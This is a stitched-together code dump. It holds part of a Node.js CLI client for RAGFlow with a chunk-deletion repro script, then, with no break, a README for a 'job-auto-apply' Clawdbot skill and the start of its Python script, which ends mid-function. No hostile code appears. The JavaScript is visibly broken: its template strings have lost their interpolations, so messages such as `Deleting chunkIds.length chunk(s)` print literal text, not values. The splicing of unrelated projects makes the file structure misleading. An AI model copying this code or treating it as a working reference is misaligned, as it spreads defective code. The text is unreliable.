const result = await client.listChunks(dataset, document, params);
if (Array.isArray(result) && result.length === 0) {
warn("No chunks found");
if (!outputMode.jsonOnly) return;
} else {
ok(`Found "chunks"`);
}
json(result);
}
async function addChunk(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const document = requireOpt(opts, "document");
const content = requireOpt(opts, "content");
const data = { content };
if (opts.keywords) data.important_keywords = listValue(opts.keywords);
info("Adding chunk...");
const result = await client.addChunk(dataset, document, data);
ok("Chunk added");
json(result);
}
async function deleteChunks(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const document = requireOpt(opts, "document");
const chunkIds = requireOpt(opts, "chunkIds");
info(`Deleting chunkIds.length chunk(s)...`);
const retries = [];
let result;
try {
result = await client.deleteChunks(dataset, document, chunkIds, {
onRetry(details) {
const retry = cloneDeleteChunkDetails(details);
retries.push(retry);
warn(
`delete-chunks returned 0 deletions, but exact ID lookup still found retry.existing_chunk_ids.length chunk(s): retry.existing_chunk_ids.join(", "). Retrying (retry.next_attempt/retry.max_retries + 1)...`
);
},
});
} catch (err) {
if (err.delete_chunk_details) {
err.delete_chunk_requested_chunk_ids = uniqueList(chunkIds);
err.delete_chunk_retries = retries;
}
throw err;
}
ok("Chunks deleted");
json(outputMode.jsonOnly ? deleteChunkJsonPayload(result, chunkIds, retries) : result);
}
async function updateChunk(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const document = requireOpt(opts, "document");
const chunk = requireOpt(opts, "chunk");
const data = {};
if (opts.content) data.content = opts.content;
if (opts.keywords) data.important_keywords = listValue(opts.keywords);
info(`Updating chunk chunk...`);
const result = await client.updateChunk(dataset, document, chunk, data);
ok("Chunk updated");
json(result);
}
// ── Retrieval ──
async function retrieve(opts) {
const client = createClient();
const question = opts.question;
if (!question) {
throw new Error("Missing required option: --question");
}
const params = { question };
if (opts.datasets) {
params.dataset_ids = listValue(opts.datasets);
}
if (opts.similarity) params.similarity_threshold = Number(opts.similarity);
if (opts.topN) params.page_size = Number(opts.topN);
if (opts.topK) params.top_k = Number(opts.topK);
if (opts.vectorWeight) params.vector_similarity_weight = Number(opts.vectorWeight);
if (opts.rerank) params.rerank_id = opts.rerank;
if (opts.keyword) params.keyword = true;
if (opts.kg) params.use_kg = true;
if (opts.crossLangs) params.cross_languages = opts.crossLangs.split(",");
info(`Searching: "question"`);
const result = await client.retrieve(params);
const count = Array.isArray(result) ? result.length : 0;
ok(`Found count result(s)`);
json(result);
}
// ── Chat Assistant ──
async function listChatAssistants(opts) {
const client = createClient();
const params = buildParams(opts, [
["page", "page", Number],
["pageSize", "page_size", Number],
["name", "name"],
["id", "id"],
]);
const result = await client.listChatAssistants(params);
if (Array.isArray(result) && result.length === 0) {
warn("No chat assistants found");
if (!outputMode.jsonOnly) return;
} else {
ok(`Found "assistants"`);
}
json(result);
}
async function createChatAssistant(opts) {
const client = createClient();
const name = requireOpt(opts, "name");
const data = { name };
applyChatOptions(data, opts);
info(`Creating chat assistant "name"...`);
const result = await client.createChatAssistant(data);
ok(`Chat assistant created: result.id`);
json(result);
}
async function updateChatAssistant(opts) {
const client = createClient();
const id = requireOpt(opts, "id");
const data = {};
if (opts.name) data.name = opts.name;
applyChatOptions(data, opts);
info(`Updating chat assistant id...`);
const result = await client.updateChatAssistant(id, data);
ok("Chat assistant updated");
json(result);
}
async function patchChatAssistant(opts) {
const client = createClient();
const id = requireOpt(opts, "id");
const data = {};
if (opts.name) data.name = opts.name;
applyChatOptions(data, opts);
info(`Patching chat assistant id...`);
const result = await client.patchChatAssistant(id, data);
ok("Chat assistant patched");
json(result);
}
async function deleteChatAssistants(opts) {
const client = createClient();
const ids = requireOpt(opts, "ids");
info(`Deleting ids.length chat assistant(s)...`);
const result = await client.deleteChatAssistants(ids);
ok("Chat assistants deleted");
json(result);
}
async function getChatAssistant(opts) {
const client = createClient();
const id = requireOpt(opts, "id");
info(`Fetching chat assistant id...`);
const result = await client.getChatAssistant(id);
ok(`Chat assistant: result.name`);
json(result);
}
// ── Session ──
async function listSessions(opts) {
const client = createClient();
const chat = requireOpt(opts, "chat");
const params = buildParams(opts, [
["page", "page", Number],
["pageSize", "page_size", Number],
]);
const result = await client.listSessions(chat, params);
ok(`Found "sessions"`);
json(result);
}
async function createSession(opts) {
const client = createClient();
const chat = requireOpt(opts, "chat");
const data = {};
if (opts.name) data.name = opts.name;
info("Creating session...");
const result = await client.createSession(chat, data);
ok(`Session created: result.id`);
json(result);
}
async function deleteSessions(opts) {
const client = createClient();
const chat = requireOpt(opts, "chat");
const ids = requireOpt(opts, "ids");
info(`Deleting ids.length session(s)...`);
const result = await client.deleteSessions(chat, ids);
ok("Sessions deleted");
json(result);
}
// ── Chat ──
async function chat(opts) {
const client = createClient();
const chatId = requireOpt(opts, "chat");
const session = requireOpt(opts, "session");
const question = opts.question;
if (!question) {
throw new Error("Missing required option: --question");
}
const params = {};
if (opts.stream) params.stream = true;
if (opts.topN) params.top_n = Number(opts.topN);
info(`Asking: "question"`);
const result = await client.chat(chatId, session, question, params);
ok("Response received");
json(result);
}
async function chatSession(opts) {
const client = createClient();
const chatId = requireOpt(opts, "chat");
const session = requireOpt(opts, "session");
const data = {};
if (opts.messages) {
const messages = jsonOption(opts.messages, "--messages");
data.question = questionFromMessages(messages);
}
if (opts.question) data.question = opts.question;
if (!data.question) {
throw new Error("Missing required option: --question or --messages with a user message");
}
if (opts.llmId || opts.llm) data.llm_id = opts.llmId || opts.llm;
if (opts.temperature !== undefined) data.temperature = Number(opts.temperature);
if (opts.topP !== undefined) data.top_p = Number(opts.topP);
if (opts.frequencyPenalty !== undefined) data.frequency_penalty = Number(opts.frequencyPenalty);
if (opts.presencePenalty !== undefined) data.presence_penalty = Number(opts.presencePenalty);
if (opts.maxTokens !== undefined) data.max_tokens = Number(opts.maxTokens);
if (opts.stream !== undefined) data.stream = opts.stream !== "false" && opts.stream !== false;
info(`Asking session: session...`);
const result = await client.chatSession(chatId, session, data);
ok("Session response received");
json(result);
}
// ── Agent ──
async function listAgents(opts) {
const client = createClient();
const params = buildParams(opts, [
["page", "page", Number],
["pageSize", "page_size", Number],
["name", "title"],
["title", "title"],
["id", "id"],
]);
const result = await client.listAgents(params);
if (Array.isArray(result) && result.length === 0) {
warn("No agents found");
if (!outputMode.jsonOnly) return;
} else {
ok(`Found "agents"`);
}
json(result);
}
async function createAgent(opts) {
const client = createClient();
const title = requireOpt(opts, "title");
const dsl = requireOpt(opts, "dsl");
const data = { title, dsl: jsonOption(dsl, "--dsl") };
if (opts.description) data.description = opts.description;
info(`Creating agent "title"...`);
const result = await client.createAgent(data);
ok(`Agent created`);
json(result);
}
async function updateAgent(opts) {
const client = createClient();
const id = requireOpt(opts, "id");
const data = {};
if (opts.title) data.title = opts.title;
if (opts.dsl) data.dsl = jsonOption(opts.dsl, "--dsl");
if (opts.description) data.description = opts.description;
info(`Updating agent id...`);
const result = await client.updateAgent(id, data);
ok("Agent updated");
json(result);
}
async function deleteAgents(opts) {
const client = createClient();
const ids = requireOpt(opts, "ids");
info(`Deleting ids.length agent(s)...`);
const result = await client.deleteAgents(ids);
ok("Agents deleted");
json(result);
}
async function getAgent(opts) {
const client = createClient();
const id = requireOpt(opts, "id");
info(`Fetching agent id...`);
const result = await client.getAgent(id);
ok(`Agent: result.title || result.id`);
json(result);
}
// ── Agent Session ──
async function listAgentSessions(opts) {
const client = createClient();
const agent = requireOpt(opts, "agent");
const params = buildParams(opts, [
["page", "page", Number],
["pageSize", "page_size", Number],
]);
const result = await client.listAgentSessions(agent, params);
ok(`Found "sessions"`);
json(result);
}
async function createAgentSession(opts) {
const client = createClient();
const agent = requireOpt(opts, "agent");
const data = {};
if (opts.name) data.name = opts.name;
info("Creating agent session...");
const result = await client.createAgentSession(agent, data);
ok(`Agent session created: result.id`);
json(result);
}
async function deleteAgentSessions(opts) {
const client = createClient();
const agent = requireOpt(opts, "agent");
const ids = requireOpt(opts, "ids");
info(`Deleting ids.length agent session(s)...`);
const result = await client.deleteAgentSessions(agent, ids);
ok("Agent sessions deleted");
json(result);
}
// ── Agent Chat ──
async function agentChat(opts) {
const client = createClient();
const agentId = requireOpt(opts, "agent");
const session = requireOpt(opts, "session");
const question = opts.question;
if (!question) {
throw new Error("Missing required option: --question");
}
info(`Asking agent: "question"`);
const result = await client.agentChat(agentId, session, question);
ok("Agent response received");
json(result);
}
// ── LLM Models ──
async function listModels(opts) {
const client = createClient();
const params = {};
if (opts.includeDetails) params.include_details = true;
info("Fetching available LLM models...");
let result;
try {
result = await client.listModels(params);
} catch (err) {
if (err.status === 401 || err.code === 401 || /unauthor/i.test(err.message)) {
err.message = `err.message. Set RAGFLOW_WEB_TOKEN from a web login session for /v1/llm/my_llms.`;
}
throw err;
}
// Normalize and group models
const factories = result || {};
const groups = [];
const groupBy = opts.groupBy || "type";
const includeUnavailable = opts.all;
for (const [factoryName, factoryPayload] of Object.entries(factories)) {
if (factoryName.startsWith("__")) continue;
if (!factoryPayload || !factoryPayload.llm) continue;
const llms = factoryPayload.llm || [];
for (const llm of llms) {
const status = llm.status;
const isAvailable = status === 1 || status === "1" || status === true;
if (!includeUnavailable && !isAvailable) continue;
const key = groupBy === "factory" ? factoryName : (llm.type || "unknown");
let group = groups.find(g => g.name === key);
if (!group) {
group = { name: key, models: [] };
groups.push(group);
}
const model = {
id: llm.id,
name: llm.name,
type: llm.type,
factory: factoryName,
status: isAvailable ? "available" : "unavailable",
};
if (opts.includeDetails) {
model.used_token = llm.used_token;
if (llm.api_base) model.api_base = llm.api_base;
if (llm.max_tokens) model.max_tokens = llm.max_tokens;
}
group.models.push(model);
}
}
groups.sort((a, b) => a.name.localeCompare(b.name));
for (const group of groups) {
group.models.sort((a, b) => (a.name || "").localeCompare(b.name || ""));
}
const totalModels = groups.reduce((sum, g) => sum + g.models.length, 0);
ok(`Found totalModels model(s) in groups.length group(s)`);
json({ groups, total: totalModels });
}
// ── Command registry ──
async function metadataSummary(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const docIds = opts.docIds ? listValue(opts.docIds) : [];
info(`Fetching metadata summary for dataset dataset...`);
const result = await client.metadataSummary(dataset, docIds);
ok("Metadata summary fetched");
json(result);
}
async function systemVersion() {
const client = createClient();
const result = await client.getSystemVersion();
ok("System version fetched");
json(result);
}
async function getLogLevels() {
const client = createClient();
const result = await client.getLogLevels();
ok("Log levels fetched");
json(result);
}
async function setLogLevel(opts) {
const client = createClient();
const pkgName = requireOpt(opts, "pkgName");
const level = requireOpt(opts, "level");
info(`Setting log level for pkgName...`);
const result = await client.setLogLevel(pkgName, level);
ok("Log level updated");
json(result);
}
const COMMANDS = {
// Dataset
"create-dataset": { fn: createDataset, group: "Dataset", desc: "Create a dataset" },
"list-datasets": { fn: listDatasets, group: "Dataset", desc: "List all datasets" },
"get-dataset": { fn: getDataset, group: "Dataset", desc: "Get dataset details" },
"update-dataset": { fn: updateDataset, group: "Dataset", desc: "Update a dataset" },
"delete-datasets": { fn: deleteDatasets, group: "Dataset", desc: "Delete datasets" },
// Document
"upload-documents": { fn: uploadDocuments, group: "Document", desc: "Upload documents" },
"list-documents": { fn: listDocuments, group: "Document", desc: "List documents" },
"get-document": { fn: getDocument, group: "Document", desc: "Get document details" },
"update-document": { fn: updateDocument, group: "Document", desc: "Update a document" },
"delete-documents": { fn: deleteDocuments, group: "Document", desc: "Delete documents" },
// Parsing
"start-parsing": { fn: startParsing, group: "Parsing", desc: "Start document parsing" },
"stop-parsing": { fn: stopParsing, group: "Parsing", desc: "Stop document parsing" },
"wait-parsing": { fn: waitParsing, group: "Parsing", desc: "Wait for parsing to complete" },
// Chunk
"list-chunks": { fn: listChunks, group: "Chunk", desc: "List chunks" },
"add-chunk": { fn: addChunk, group: "Chunk", desc: "Add a chunk" },
"update-chunk": { fn: updateChunk, group: "Chunk", desc: "Update a chunk" },
"delete-chunks": { fn: deleteChunks, group: "Chunk", desc: "Delete chunks" },
// Retrieval
"retrieve": { fn: retrieve, group: "Retrieval", desc: "Retrieve from datasets" },
// Chat Assistant
"list-chats": { fn: listChatAssistants, group: "Chat", desc: "List chat assistants" },
"create-chat": { fn: createChatAssistant, group: "Chat", desc: "Create a chat assistant" },
"get-chat": { fn: getChatAssistant, group: "Chat", desc: "Get chat assistant details" },
"update-chat": { fn: updateChatAssistant, group: "Chat", desc: "Update a chat assistant" },
"patch-chat": { fn: patchChatAssistant, group: "Chat", desc: "Patch a chat assistant" },
"delete-chats": { fn: deleteChatAssistants, group: "Chat", desc: "Delete chat assistants" },
// Session
"list-sessions": { fn: listSessions, group: "Session", desc: "List chat sessions" },
"create-session": { fn: createSession, group: "Session", desc: "Create a chat session" },
"delete-sessions": { fn: deleteSessions, group: "Session", desc: "Delete chat sessions" },
// Chat conversation
"chat": { fn: chat, group: "Chat", desc: "Chat with an assistant" },
"chat-session": { fn: chatSession, group: "Chat", desc: "Chat with a session" },
// Agent
"list-agents": { fn: listAgents, group: "Agent", desc: "List agents" },
"create-agent": { fn: createAgent, group: "Agent", desc: "Create an agent" },
"get-agent": { fn: getAgent, group: "Agent", desc: "Get agent details" },
"update-agent": { fn: updateAgent, group: "Agent", desc: "Update an agent" },
"delete-agents": { fn: deleteAgents, group: "Agent", desc: "Delete agents" },
// Agent Session
"list-agent-sessions": { fn: listAgentSessions, group: "Agent", desc: "List agent sessions" },
"create-agent-session": { fn: createAgentSession, group: "Agent", desc: "Create an agent session" },
"delete-agent-sessions": { fn: deleteAgentSessions, group: "Agent", desc: "Delete agent sessions" },
// Agent Chat
"agent-chat": { fn: agentChat, group: "Agent", desc: "Chat with an agent" },
// LLM Models
"list-models": { fn: listModels, group: "Models", desc: "List available LLM models" },
// Metadata / System
"metadata-summary": { fn: metadataSummary, group: "Document", desc: "Summarize document metadata" },
"system-version": { fn: systemVersion, group: "System", desc: "Get system version" },
"get-log-levels": { fn: getLogLevels, group: "System", desc: "Get log levels" },
"set-log-level": { fn: setLogLevel, group: "System", desc: "Set a log level" },
};
function printHelp() {
const groups = {};
for (const [cmd, { group, desc }] of Object.entries(COMMANDS)) {
if (!groups[group]) groups[group] = [];
groups[group].push({ cmd, desc });
}
let out = `C.boldUsage:C.reset node ragflow.js <command> [options]\n`;
for (const [group, cmds] of Object.entries(groups)) {
out += `\nC.boldC.cyan groupC.reset\n`;
for (const { cmd, desc } of cmds) {
out += ` C.greencmd.padEnd(22)C.reset desc\n`;
}
}
out += `
C.boldCommon Options:C.reset
--name Name
--id ID
--ids IDs (multiple values)
--dataset Dataset ID
--files File paths (multiple values)
--doc-ids Document IDs (multiple values)
--document Document ID
--content Chunk content
--chunk-ids Chunk IDs (multiple values)
--messages Messages JSON (for session chat)
--chat Chat assistant ID
--agent Agent ID
--session Session ID
--llm-id LLM model ID
--question, -q Question (for retrieve/chat)
--datasets, -d Dataset IDs for retrieval
--metadata Metadata filter JSON
--metadata-condition Metadata condition JSON
--meta-fields Document metadata JSON
--similarity, -s Similarity threshold (0-1)
--top-n, -n Number of results
--top-k, -k Number of candidates
--top-p Top-p
--vector-weight, -w Vector similarity weight (0-1)
--temperature Sampling temperature
--frequency-penalty Frequency penalty
--presence-penalty Presence penalty
--max-tokens Max tokens
--stream Stream completion
--rerank, -r Rerank model ID
--keyword Enable keyword search
--kg Enable knowledge graph
--cross-langs Cross-language targets (comma-separated)
--page Page number
--page-size Page size
--orderby Order by field
--desc Sort descending
--return-empty-metadata Return docs with empty metadata
--include-details Include detailed model info
--group-by Group models by type/factory
--all Include unavailable models
--parser-config Parser configuration (JSON)
--prompt-config Chat prompt configuration (JSON or @file)
--pkg-name Log package name
--level Log level
--json Print machine-readable JSON only
`;
console.log(out);
}
// ── Main ──
async function main() {
const opts = parseArgs(args.slice(1));
outputMode.jsonOnly = Boolean(opts.json);
if (!command || command === "help" || command === "--help" || command === "-h" || opts.help) {
printHelp();
process.exit(0);
}
const cmd = COMMANDS[command];
if (!cmd) {
if (outputMode.jsonOnly && command) {
json({
error: {
message: `Unknown command: command`,
raw_message: `Unknown command: command`,
command,
},
});
process.exit(1);
}
printHelp();
process.exit(command ? 1 : 0);
}
try {
await cmd.fn(opts);
} catch (err) {
if (outputMode.jsonOnly) {
json(commandErrorJsonPayload(err));
process.exit(1);
}
fail(cliErrorMessage(err));
process.exit(1);
}
}
main();
FILE:scripts/repro-delete-chunks.js
#!/usr/bin/env node
const fs = require("fs");
const os = require("os");
const path = require("path");
const { createClient } = require("../lib/api.js");
const DEFAULT_RETRIES = 3;
const DEFAULT_RETRY_DELAY_MS = 1000;
function delay(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function normalizeError(err) {
return {
message: err.message,
code: err.code,
status: err.status,
};
}
function chunkListIds(payload) {
const chunks = Array.isArray(payload) ? payload : payload?.chunks || [];
return chunks.map((chunk) => chunk.id).filter(Boolean);
}
function chunkIdsFromExactLookup(payload) {
return chunkListIds(payload);
}
function firstDocumentId(upload) {
if (Array.isArray(upload)) return upload[0]?.id || "";
if (Array.isArray(upload?.docs)) return upload.docs[0]?.id || "";
if (upload?.docs?.id) return upload.docs.id;
if (upload?.document?.id) return upload.document.id;
return upload?.id || "";
}
async function main() {
const client = createClient({ timeout: Number(process.env.RAGFLOW_REPRO_TIMEOUT_MS || 60000) });
const retries = Number(process.env.RAGFLOW_REPRO_DELETE_RETRIES || DEFAULT_RETRIES);
const retryDelayMs = Number(process.env.RAGFLOW_REPRO_DELETE_RETRY_DELAY_MS || DEFAULT_RETRY_DELAY_MS);
const embeddingModel = process.env.RAGFLOW_REPRO_EMBEDDING_MODEL || "text-embedding-v4@Tongyi-Qianwen";
const marker = `RAGFLOW_DELETE_CHUNK_REPRO_Date.now()`;
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "ragflow-delete-chunks-"));
const filePath = path.join(tempDir, "delete-chunks-repro.md");
const result = {
marker,
config: { embedding_model: embeddingModel, retries, retry_delay_ms: retryDelayMs },
steps: [],
attempts: [],
cleanup: {},
};
let datasetId = "";
let documentId = "";
try {
fs.writeFileSync(
filePath,
[
"# RAGFlow delete-chunks repro",
"",
`Marker: marker`,
"This file is created by ragflow-skill to reproduce manual chunk deletion.",
"",
].join("\n"),
"utf8"
);
const datasetPayload = {
name: `ragflow-delete-chunks-repro-Date.now()`,
chunk_method: "naive",
permission: "me",
description: "Temporary dataset for ragflow-skill delete-chunks reproduction",
};
if (embeddingModel) datasetPayload.embedding_model = embeddingModel;
const dataset = await client.createDataset(datasetPayload);
datasetId = dataset.id;
result.steps.push({ step: "create-dataset", dataset_id: datasetId });
const upload = await client.uploadDocuments(datasetId, [filePath]);
result.steps.push({ step: "upload-response-shape", shape: Array.isArray(upload) ? "array" : Object.keys(upload || {}) });
documentId = firstDocumentId(upload);
if (!documentId) throw new Error("Upload did not return a document id");
result.steps.push({ step: "upload-documents", document_id: documentId });
await client.startParsing(datasetId, [documentId]);
const parsed = await client.waitForParsing(datasetId, [documentId], { maxWait: 120000, interval: 3000 });
result.steps.push({ step: "wait-parsing", documents: parsed.map((doc) => ({ id: doc.id, run: doc.run, chunk_count: doc.chunk_count })) });
const added = await client.addChunk(datasetId, documentId, {
content: `Manual chunk for delete reproduction. marker`,
important_keywords: ["delete", "repro"],
});
const chunkId = added?.chunk?.id || added?.id;
if (!chunkId) throw new Error("addChunk did not return a chunk id");
result.steps.push({ step: "add-chunk", chunk_id: chunkId });
const beforeDelete = await client.listChunks(datasetId, documentId);
result.steps.push({ step: "list-before-delete", chunk_ids: chunkListIds(beforeDelete), contains_added_chunk: chunkListIds(beforeDelete).includes(chunkId) });
try {
const exactBeforeDelete = await client.listChunks(datasetId, documentId, { id: chunkId });
result.steps.push({
step: "exact-id-before-delete",
chunk_ids: chunkIdsFromExactLookup(exactBeforeDelete),
contains_added_chunk: chunkIdsFromExactLookup(exactBeforeDelete).includes(chunkId),
});
} catch (err) {
result.steps.push({ step: "exact-id-before-delete", error: normalizeError(err) });
}
for (let attempt = 0; attempt <= retries; attempt++) {
if (attempt > 0) await delay(retryDelayMs);
const entry = { attempt, delay_ms: attempt === 0 ? 0 : retryDelayMs };
try {
entry.response = await client.deleteChunks(datasetId, documentId, [chunkId], { maxRetries: 0 });
entry.ok = true;
result.attempts.push(entry);
break;
} catch (err) {
entry.ok = false;
entry.error = normalizeError(err);
if (err.delete_chunk_details) entry.delete_chunk_details = err.delete_chunk_details;
try {
const listed = await client.listChunks(datasetId, documentId);
entry.chunk_ids_after_failure = chunkListIds(listed);
entry.chunk_still_listed = entry.chunk_ids_after_failure.includes(chunkId);
} catch (listErr) {
entry.list_error = normalizeError(listErr);
}
result.attempts.push(entry);
}
}
const firstOk = result.attempts[0]?.ok;
const laterOk = result.attempts.some((attempt, index) => index > 0 && attempt.ok);
const anyOk = result.attempts.some((attempt) => attempt.ok);
if (firstOk) {
result.conclusion = "delete-chunks succeeded immediately; no retry workaround is indicated by this run.";
} else if (laterOk) {
result.conclusion = "delete-chunks succeeded only after retry; exact ID lookup and search/delete visibility are temporarily inconsistent after manual chunk insert.";
} else if (!anyOk) {
result.conclusion = "delete-chunks failed after retries; this points to a RAGFlow server/doc-store deletion issue rather than a transient CLI timing issue.";
}
} catch (err) {
result.error = normalizeError(err);
} finally {
if (datasetId) {
try {
result.cleanup.delete_dataset = await client.deleteDatasets([datasetId]);
} catch (err) {
result.cleanup.delete_dataset_error = normalizeError(err);
}
}
fs.rmSync(tempDir, { recursive: true, force: true });
}
console.log(JSON.stringify(result, null, 2));
if (result.error) process.exitCode = 1;
}
main().catch((err) => {
console.error(JSON.stringify({ error: normalizeError(err) }, null, 2));
process.exit(1);
});
Automated job search and application system for Clawdbot. Use when the user wants to search for jobs and automatically apply to positions matching their crit...
---
name: job-auto-apply
description: Automated job search and application system for Clawdbot. Use when the user wants to search for jobs and automatically apply to positions matching their criteria. Handles job searching across LinkedIn, Indeed, Glassdoor, ZipRecruiter, and Wellfound, generates tailored cover letters via SkillBoss API Hub, analyzes job compatibility with AI, fills application forms, and tracks application status. Use when user says things like "find and apply to jobs", "auto-apply for [job title]", "search for [position] jobs and apply", or "help me apply to multiple jobs automatically".
requires_env: [SKILLBOSS_API_KEY]
---
# Job Auto-Apply Skill
Automate job searching and application submission across multiple job platforms using Clawdbot. AI-powered cover letter generation and job compatibility analysis are provided by SkillBoss API Hub.
## Overview
This skill enables automated job search and application workflows. It searches for jobs matching user criteria, analyzes compatibility using SkillBoss API Hub's AI capabilities, generates tailored cover letters, and submits applications automatically or with user confirmation.
**Supported Platforms:**
- LinkedIn (including Easy Apply)
- Indeed
- Glassdoor
- ZipRecruiter
- Wellfound (AngelList)
## Quick Start
### 1. Set Up Environment
```bash
export SKILLBOSS_API_KEY=your_skillboss_api_key
```
### 2. Set Up User Profile
First, create a user profile using the template:
```bash
# Copy the profile template
cp profile_template.json ~/job_profile.json
# Edit with user's information
# Fill in: name, email, phone, resume path, skills, preferences
```
### 3. Run Job Search and Apply
```bash
# Basic usage - search and apply (dry run)
python job_search_apply.py \
--title "Software Engineer" \
--location "San Francisco, CA" \
--remote \
--max-applications 10 \
--dry-run
# With profile file
python job_search_apply.py \
--profile ~/job_profile.json \
--title "Backend Engineer" \
--platforms linkedin,indeed \
--auto-apply
# Production mode (actual applications)
python job_search_apply.py \
--profile ~/job_profile.json \
--title "Senior Developer" \
--no-dry-run \
--require-confirmation
```
## Workflow Steps
### Step 1: Profile Configuration
Load the user's profile from the template or create programmatically:
```python
from job_search_apply import ApplicantProfile
profile = ApplicantProfile(
full_name="Jane Doe",
email="[email protected]",
phone="+1234567890",
resume_path="~/Documents/resume.pdf",
linkedin_url="https://linkedin.com/in/janedoe",
years_experience=5,
authorized_to_work=True,
requires_sponsorship=False
)
```
### Step 2: Define Search Parameters
```python
from job_search_apply import JobSearchParams, JobPlatform
search_params = JobSearchParams(
title="Software Engineer",
location="Remote",
remote=True,
experience_level="mid",
job_type="full-time",
salary_min=100000,
platforms=[JobPlatform.LINKEDIN, JobPlatform.INDEED]
)
```
### Step 3: Run Automated Application
```python
from job_search_apply import auto_apply_workflow
results = auto_apply_workflow(
search_params=search_params,
profile=profile,
max_applications=10,
min_match_score=0.75,
dry_run=False,
require_confirmation=True
)
```
## Integration with Clawdbot
### Using as a Clawdbot Tool
When installed as a Clawdbot skill, invoke via natural language:
**Example prompts:**
- "Find and apply to Python developer jobs in San Francisco"
- "Search for remote backend engineer positions and apply to the top 5 matches"
- "Auto-apply to senior software engineer roles with 100k+ salary"
- "Apply to jobs at tech startups on Wellfound"
The skill will:
1. Parse the user's intent and extract search parameters
2. Load the user's profile from saved configuration
3. Search across specified platforms
4. Analyze job compatibility via SkillBoss API Hub (AI-powered)
5. Generate tailored cover letters via SkillBoss API Hub
6. Submit applications (with confirmation if enabled)
7. Report results and track applications
### Configuration in Clawdbot
Add to your Clawdbot configuration:
```json
{
"skills": {
"job-auto-apply": {
"enabled": true,
"profile_path": "~/job_profile.json",
"default_platforms": ["linkedin", "indeed"],
"max_daily_applications": 10,
"require_confirmation": true,
"dry_run": false
}
}
}
```
## Features
### 1. Multi-Platform Search
- Searches across all major job platforms
- Uses official APIs when available
- Falls back to web scraping for platforms without APIs
### 2. Smart Matching (powered by SkillBoss API Hub)
- Analyzes job descriptions for requirement matching using AI via SkillBoss API Hub
- Calculates compatibility scores
- Filters jobs based on minimum match threshold
### 3. Application Customization (powered by SkillBoss API Hub)
- Generates tailored cover letters per job using SkillBoss API Hub's AI
- Customizes resume emphasis based on job requirements
- Handles platform-specific application forms
### 4. Safety Features
- **Dry Run Mode**: Test without submitting applications
- **Manual Confirmation**: Review each application before submission
- **Rate Limiting**: Prevents overwhelming platforms
- **Application Logging**: Tracks all submissions for reference
### 5. Form Automation
Automatically fills common application fields:
- Personal information
- Work authorization status
- Education and experience
- Skills and certifications
- Screening questions (using SkillBoss API Hub AI when needed)
## Advanced Usage
### Custom Cover Letter Templates
Create a template with placeholders:
```text
Dear Hiring Manager at {company},
I am excited to apply for the {position} role. With {years} years of
experience in {skills}, I believe I would be an excellent fit.
{custom_paragraph}
I look forward to discussing how I can contribute to {company}'s success.
Best regards,
{name}
```
### Application Tracking
Results are automatically saved in JSON format with details on each application submitted, including timestamps, match scores, and status.
## Bundled Resources
### Scripts
- `job_search_apply.py` - Main automation script with search, matching, and application logic (AI features via SkillBoss API Hub)
### References
- `platform_integration.md` - Technical documentation for API integration, web scraping, form automation, and platform-specific details
### Assets
- `profile_template.json` - Comprehensive profile template with all required and optional fields
## Safety and Ethics
### Important Guidelines
1. **Truthfulness**: Never misrepresent qualifications or experience
2. **Genuine Interest**: Only apply to jobs you're actually interested in
3. **Rate Limiting**: Respect platform limits and terms of service
4. **Manual Review**: Consider enabling confirmation mode for quality control
5. **Privacy**: Secure storage of personal information and credentials
### Best Practices
- Start with dry-run mode to verify behavior
- Set reasonable limits (5-10 applications per day)
- Use high match score thresholds (0.75+)
- Enable confirmation for important applications
- Track results to optimize strategy
FILE:job_search_apply.py
#!/usr/bin/env python3
"""
Job Search and Auto-Apply Script
Searches for jobs and automates application submissions across multiple platforms.
"""
import json
import os
import time
import requests
from typing import List, Dict, Optional
from dataclasses import dataclass
from enum import Enum
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
_API_BASE = "https://api.heybossai.com/v1"
def _pilot(body: dict) -> dict:
r = requests.post(
f"{_API_BASE}/pilot",
headers={"Authorization": f"Bearer {SKILLBOSS_API_KEY}", "Content-Type": "application/json"},
json=body,
timeout=60,
)
return r.json()
class JobPlatform(Enum):
"""Supported job platforms"""
LINKEDIN = "linkedin"
INDEED = "indeed"
GLASSDOOR = "glassdoor"
ZIPRECRUITER = "ziprecruiter"
WELLFOUND = "wellfound" # formerly AngelList
@dataclass
class JobSearchParams:
"""Parameters for job search"""
title: str
location: Optional[str] = None
remote: bool = True
experience_level: Optional[str] = None # entry, mid, senior
job_type: Optional[str] = None # full-time, part-time, contract
salary_min: Optional[int] = None
platforms: List[JobPlatform] = None
def __post_init__(self):
if self.platforms is None:
self.platforms = [JobPlatform.LINKEDIN, JobPlatform.INDEED]
@dataclass
class ApplicantProfile:
"""Applicant's profile information"""
full_name: str
email: str
phone: str
resume_path: str
cover_letter_template: Optional[str] = None
linkedin_url: Optional[str] = None
portfolio_url: Optional[str] = None
github_url: Optional[str] = None
years_experience: Optional[int] = None
# Work authorization
authorized_to_work: bool = True
requires_sponsorship: bool = False
# Additional info
willing_to_relocate: bool = False
preferred_start_date: Optional[str] = None
def search_jobs(params: JobSearchParams) -> List[Dict]:
"""
Search for jobs across specified platforms.
Args:
params: Job search parameters
Returns:
List of job postings matching criteria
"""
print(f"🔍 Searching for '{params.title}' jobs...")
print(f" Platforms: {[p.value for p in params.platforms]}")
print(f" Location: {params.location or 'Remote/Any'}")
# This is a placeholder - in real implementation, this would:
# 1. Use Selenium/Playwright to scrape job boards
# 2. Use official APIs where available (LinkedIn, Indeed)
# 3. Parse job listings and extract relevant data
jobs = []
# Example job structure
example_job = {
"id": "job_123",
"title": params.title,
"company": "Example Corp",
"location": params.location or "Remote",
"platform": JobPlatform.LINKEDIN.value,
"url": "https://linkedin.com/jobs/view/123",
"description": "Sample job description",
"has_easy_apply": True,
"posted_date": "2024-01-15",
"salary_range": "$100k - $150k",
}
print(f"✅ Found {len(jobs)} jobs (example mode)")
return jobs
def analyze_job_compatibility(job: Dict, profile: ApplicantProfile) -> Dict:
"""
Analyze if a job is a good match for the applicant using SkillBoss API Hub.
Args:
job: Job posting data
profile: Applicant profile
Returns:
Compatibility analysis
"""
prompt = (
f"Analyze this job posting and applicant profile for compatibility.\n\n"
f"Job Title: {job.get('title')}\nCompany: {job.get('company')}\n"
